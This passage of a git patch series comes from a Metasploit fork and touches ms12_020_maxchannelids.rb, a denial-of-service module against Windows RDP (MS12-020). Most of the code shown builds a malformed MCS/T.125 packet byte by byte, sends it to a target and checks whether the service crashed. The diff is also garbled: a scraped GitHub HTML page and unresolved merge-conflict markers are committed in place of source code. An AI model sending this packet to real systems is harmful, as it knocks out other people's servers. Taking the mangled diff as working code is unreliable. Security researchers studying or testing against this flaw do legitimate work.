class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC78'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x5E</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC79'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># callingDomainSelector</span></div><div class='line' id='LC80'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># calledDomainSelector</span></div><div class='line' id='LC81'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x01\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># upwardFlag</span></div><div class='line' id='LC82'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># targetParameters</span></div><div class='line' id='LC83'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC84'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC85'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC86'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC87'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC88'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC89'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC90'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC91'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minimumParameters</span></div><div class='line' id='LC92'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC93'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC94'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC95'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC96'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC97'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC98'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC99'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC100'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x30\x19</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maximumParameters</span></div><div class='line' id='LC101'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">max_channel_ids</span> <span class="o">+</span> <span class="c1"># maxChannelIds</span></div><div class='line' id='LC102'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\xFF</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxUserIds</span></div><div class='line' id='LC103'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxTokenIds</span></div><div class='line' id='LC104'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># numPriorities</span></div><div class='line' id='LC105'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># minThroughput</span></div><div class='line' id='LC106'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x01</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxHeight</span></div><div class='line' id='LC107'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x02\x00\x7C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># maxMCSPDUsize</span></div><div class='line' id='LC108'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\x01\x02</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># protocolVersion</span></div><div class='line' id='LC109'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x04\x82\x00\x00</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># userData</span></div><div class='line' id='LC110'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC111'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC112'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC113'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC114'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC115'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC116'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC117'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC118'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC119'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC120'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC121'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC122'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC123'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC124'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC125'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC126'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC127'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC128'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC129'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC130'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC131'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x08</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC132'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC133'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x28</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC134'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x0C</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC135'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC136'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x38\x00\x06\x03</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># T.125</span></div><div class='line' id='LC137'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\xF0</span><span class="s2">&quot;</span> <span class="o">+</span></div><div class='line' id='LC138'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x03\x00\x00\x09</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># TPKT: version + length</span></div><div class='line' id='LC139'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x02\xF0\x80</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="c1"># X.224</span></div><div class='line' id='LC140'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="s2">&quot;</span><span class="se">\x21\x80</span><span class="s2">&quot;</span> <span class="c1"># T.125</span></div><div class='line' id='LC141'><br/></div><div class='line' id='LC142'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">unless</span> <span class="n">is_rdp_up</span></div><div class='line' id='LC143'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_error</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - RDP Service Unreachable&quot;</span><span class="p">)</span></div><div class='line' id='LC144'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span></div><div class='line' id='LC145'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC146'><br/></div><div class='line' id='LC147'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">connect</span></div><div class='line' id='LC148'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - Sending </span><span class="si">#{</span><span class="nb">self</span><span class="o">.</span><span class="n">name</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span></div><div class='line' id='LC149'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">sock</span><span class="o">.</span><span class="n">put</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span></div><div class='line' id='LC150'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="no">Rex</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span></div><div class='line' id='LC151'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">disconnect</span></div><div class='line' id='LC152'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - </span><span class="si">#{</span><span class="n">pkt</span><span class="o">.</span><span class="n">length</span><span class="o">.</span><span class="n">to_s</span><span class="si">}</span><span class="s2"> bytes sent&quot;</span><span class="p">)</span></div><div class='line' id='LC153'><br/></div><div class='line' id='LC154'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_status</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - Checking RDP status...&quot;</span><span class="p">)</span></div><div class='line' id='LC155'><br/></div><div class='line' id='LC156'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">if</span> <span class="n">is_rdp_up</span></div><div class='line' id='LC157'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_error</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> - RDP Service Unreachable&quot;</span><span class="p">)</span></div><div class='line' id='LC158'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">return</span></div><div class='line' id='LC159'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">else</span></div><div class='line' id='LC160'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">print_good</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">#{</span><span class="n">rhost</span><span class="si">}</span><span class="s2">:</span><span class="si">#{</span><span class="n">rport</span><span class="si">}</span><span class="s2"> seems down&quot;</span><span class="p">)</span></div><div class='line' id='LC161'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="n">report_vuln</span><span class="p">({</span></div><div class='line' id='LC162'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:host</span> <span class="o">=&gt;</span> <span class="n">rhost</span><span class="p">,</span></div><div class='line' id='LC163'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:port</span> <span class="o">=&gt;</span> <span class="n">rport</span><span class="p">,</span></div><div class='line' id='LC164'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:name</span> <span class="o">=&gt;</span> <span class="nb">self</span><span class="o">.</span><span class="n">name</span><span class="p">,</span></div><div class='line' id='LC165'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:refs</span> <span class="o">=&gt;</span> <span class="nb">self</span><span class="o">.</span><span class="n">references</span><span class="p">,</span></div><div class='line' id='LC166'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="ss">:info</span> <span class="o">=&gt;</span> <span class="s2">&quot;Module </span><span class="si">#{</span><span class="nb">self</span><span class="o">.</span><span class="n">fullname</span><span class="si">}</span><span class="s2"> successfully crashed the target system via RDP&quot;</span></div><div class='line' id='LC167'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="p">})</span></div><div class='line' id='LC168'>&nbsp;&nbsp;&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC169'><br/></div><div class='line' id='LC170'>&nbsp;&nbsp;<span class="k">end</span></div><div class='line' id='LC171'><br/></div><div class='line' id='LC172'><span class="k">end</span></div></pre></div> + </td> + </tr> + </table> + </div> + + </div> +</div> + +<a href="#jump-to-line" rel="facebox[.linejump]" data-hotkey="l" class="js-jump-to-line" style="display:none">Jump to Line</a> +<div id="jump-to-line" style="display:none"> + <form accept-charset="UTF-8" class="js-jump-to-line-form"> + <input class="linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" autofocus> + <button type="submit" class="button">Go</button> + </form> +</div> + + </div> + + </div><!-- /.repo-container --> + <div class="modal-backdrop"></div> + </div><!-- /.container --> + </div><!-- /.site --> + + + </div><!-- /.wrapper --> + + <div class="container"> + <div class="site-footer"> + <ul class="site-footer-links right"> + <li><a href="https://status.github.com/">Status</a></li> + <li><a href="http://developer.github.com">API</a></li> + <li><a href="http://training.github.com">Training</a></li> + <li><a href="http://shop.github.com">Shop</a></li> + <li><a href="/blog">Blog</a></li> + <li><a href="/about">About</a></li> + + </ul> + + <a href="/"> + <span class="mega-octicon octicon-mark-github"></span> + </a> + + <ul class="site-footer-links"> + <li>&copy; 2013 <span title="0.03578s from github-fe114-cp1-prd.iad.github.net">GitHub</span>, Inc.</li> + <li><a href="/site/terms">Terms</a></li> + <li><a href="/site/privacy">Privacy</a></li> + <li><a href="/security">Security</a></li> + <li><a href="/contact">Contact</a></li> + </ul> + </div><!-- /.site-footer --> +</div><!-- /.container --> + + + <div class="fullscreen-overlay js-fullscreen-overlay" id="fullscreen_overlay"> + <div class="fullscreen-container js-fullscreen-container"> + <div class="textarea-wrap"> + <textarea name="fullscreen-contents" id="fullscreen-contents" class="js-fullscreen-contents" placeholder="" data-suggester="fullscreen_suggester"></textarea> + <div class="suggester-container"> + <div class="suggester fullscreen-suggester js-navigation-container" id="fullscreen_suggester" + data-url="/jvazquez-r7/metasploit-framework/suggestions/commit"> + </div> + </div> + </div> + </div> + <div class="fullscreen-sidebar"> + <a href="#" class="exit-fullscreen js-exit-fullscreen tooltipped leftwards" title="Exit Zen Mode"> + <span class="mega-octicon octicon-screen-normal"></span> + </a> + <a href="#" class="theme-switcher js-theme-switcher tooltipped leftwards" + title="Switch themes"> + <span class="octicon octicon-color-mode"></span> + </a> + </div> +</div> + + + + <div id="ajax-error-message" class="flash flash-error"> + <span class="octicon octicon-alert"></span> + <a href="#" class="octicon octicon-remove-close close ajax-error-dismiss"></a> + Something went wrong with that request. Please try again. + </div> + + </body> +</html> - print_status("#{rhost}:#{rport} - Checking RDP status...") - if not is_rdp_up - print_good("#{rhost}:#{rport} seems down") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} successfully crashed the target system via RDP" - }) - else - print_status("#{rhost}:#{rport} is still up") - end - end - end -<<<<<<< HEAD -<<<<<<< HEAD ->>>>>>> Update ms12_020_maxchannelids.rb -======= ->>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10 -======= ->>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10 -end From 7b82c649835be90b0b548de4742e126e8615ddcf Mon Sep 17 00:00:00 2001 From: darknight007 <waqas.bsquare@gmail.com> Date: Sat, 12 Oct 2013 16:49:03 +0500 Subject: [PATCH 188/210] ms12-020 stack print resolve --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 4620 +---------------- 1 file changed, 172 insertions(+), 4448 deletions(-) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index bd85ec7c79..d05fd61c17 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,4448 +1,172 @@ - - - -<!DOCTYPE html> -<html> - <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# githubog: http://ogp.me/ns/fb/githubog#"> - <meta charset='utf-8'> - <meta http-equiv="X-UA-Compatible" content="IE=edge"> - <title>metasploit-framework/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb at 5dcff47b1efa5359562a28b5717a9f4895185597 · jvazquez-r7/metasploit-framework · GitHub</title> - <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub" /> - <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub" /> - <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-114.png" /> - <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114.png" /> - <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-144.png" /> - <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144.png" /> - <link rel="logo" type="image/svg" href="https://github-media-downloads.s3.amazonaws.com/github-logo.svg" /> - <meta property="og:image" content="https://github.global.ssl.fastly.net/images/modules/logos_page/Octocat.png"> - <meta name="hostname" content="github-fe114-cp1-prd.iad.github.net"> - <meta name="ruby" content="ruby 1.9.3p194-tcs-github-tcmalloc (2012-05-25, TCS patched 2012-05-27, GitHub v1.0.36) [x86_64-linux]"> - <link rel="assets" href="https://github.global.ssl.fastly.net/"> - <link rel="conduit-xhr" href="https://ghconduit.com:25035/"> - <link rel="xhr-socket" href="/_sockets" /> - - - - <meta name="msapplication-TileImage" content="/windows-tile.png" /> - <meta name="msapplication-TileColor" content="#ffffff" /> - <meta name="selected-link" value="repo_source" data-pjax-transient /> - <meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="2720634E:3B8F:10541808:525933B6" name="octolytics-dimension-request_id" /> - - - - - <link rel="icon" type="image/x-icon" href="/favicon.ico" /> - - <meta content="authenticity_token" name="csrf-param" /> -<meta content="M4XyCMcKTHmBuLOsN3oOUkYCToVxegq7ewiWH3QVqsI=" name="csrf-token" /> - - <link href="https://github.global.ssl.fastly.net/assets/github-1c7dbb8d7b87dc092768f2d88b14ab1038cb1fa3.css" media="all" rel="stylesheet" type="text/css" /> - <link href="https://github.global.ssl.fastly.net/assets/github2-d1457f7530b4fbdf863344e647db192927f12c58.css" media="all" rel="stylesheet" type="text/css" /> - - - - - <script src="https://github.global.ssl.fastly.net/assets/frameworks-5036c64d838328b79e082f548848e2898412e869.js" type="text/javascript"></script> - <script src="https://github.global.ssl.fastly.net/assets/github-0818b6c0fb5cc21fd7ee0062b133b12cabe1d086.js" type="text/javascript"></script> - - <meta http-equiv="x-pjax-version" content="143789be21832e509e3d1d798edd37fc"> - - <link data-pjax-transient rel='permalink' href='/jvazquez-r7/metasploit-framework/blob/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb'> - <meta property="og:title" content="metasploit-framework"/> - <meta property="og:type" content="githubog:gitrepository"/> - <meta property="og:url" content="https://github.com/jvazquez-r7/metasploit-framework"/> - <meta property="og:image" content="https://github.global.ssl.fastly.net/images/gravatars/gravatar-user-420.png"/> - <meta property="og:site_name" content="GitHub"/> - <meta property="og:description" content="metasploit-framework - Metasploit Framework"/> - - <meta name="description" content="metasploit-framework - Metasploit Framework" /> - - <meta content="1742838" name="octolytics-dimension-user_id" /><meta content="jvazquez-r7" name="octolytics-dimension-user_login" /><meta content="6786012" name="octolytics-dimension-repository_id" /><meta content="jvazquez-r7/metasploit-framework" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="true" name="octolytics-dimension-repository_is_fork" /><meta content="2293158" name="octolytics-dimension-repository_parent_id" /><meta content="rapid7/metasploit-framework" name="octolytics-dimension-repository_parent_nwo" /><meta content="2293158" name="octolytics-dimension-repository_network_root_id" /><meta content="rapid7/metasploit-framework" name="octolytics-dimension-repository_network_root_nwo" /> - <link href="https://github.com/jvazquez-r7/metasploit-framework/commits/5dcff47b1efa5359562a28b5717a9f4895185597.atom" rel="alternate" title="Recent Commits to metasploit-framework:5dcff47b1efa5359562a28b5717a9f4895185597" type="application/atom+xml" /> - - </head> - - - <body class="logged_out env-production vis-public fork page-blob"> - <div class="wrapper"> - - - - - - - <div class="header header-logged-out"> - <div class="container clearfix"> - - <a class="header-logo-wordmark" href="https://github.com/"> - <span class="mega-octicon octicon-logo-github"></span> - </a> - - <div class="header-actions"> - <a class="button primary" href="/signup">Sign up</a> - <a class="button signin" href="/login?return_to=%2Fjvazquez-r7%2Fmetasploit-framework%2Fblob%2F5dcff47b1efa5359562a28b5717a9f4895185597%2Fmodules%2Fauxiliary%2Fdos%2Fwindows%2Frdp%2Fms12_020_maxchannelids.rb">Sign in</a> - </div> - - <div class="command-bar js-command-bar in-repository"> - - <ul class="top-nav"> - <li class="explore"><a href="/explore">Explore</a></li> - <li class="features"><a href="/features">Features</a></li> - <li class="enterprise"><a href="https://enterprise.github.com/">Enterprise</a></li> - <li class="blog"><a href="/blog">Blog</a></li> - </ul> - <form accept-charset="UTF-8" action="/search" class="command-bar-form" id="top_search_form" method="get"> - -<input type="text" data-hotkey="/ s" name="q" id="js-command-bar-field" placeholder="Search or type a command" tabindex="1" autocapitalize="off" - - - data-repo="jvazquez-r7/metasploit-framework" - data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" - data-sha="8a2f1f522a5e81eb258378a73feb62acab6f874f" - > - - <input type="hidden" name="nwo" value="jvazquez-r7/metasploit-framework" /> - - <div class="select-menu js-menu-container 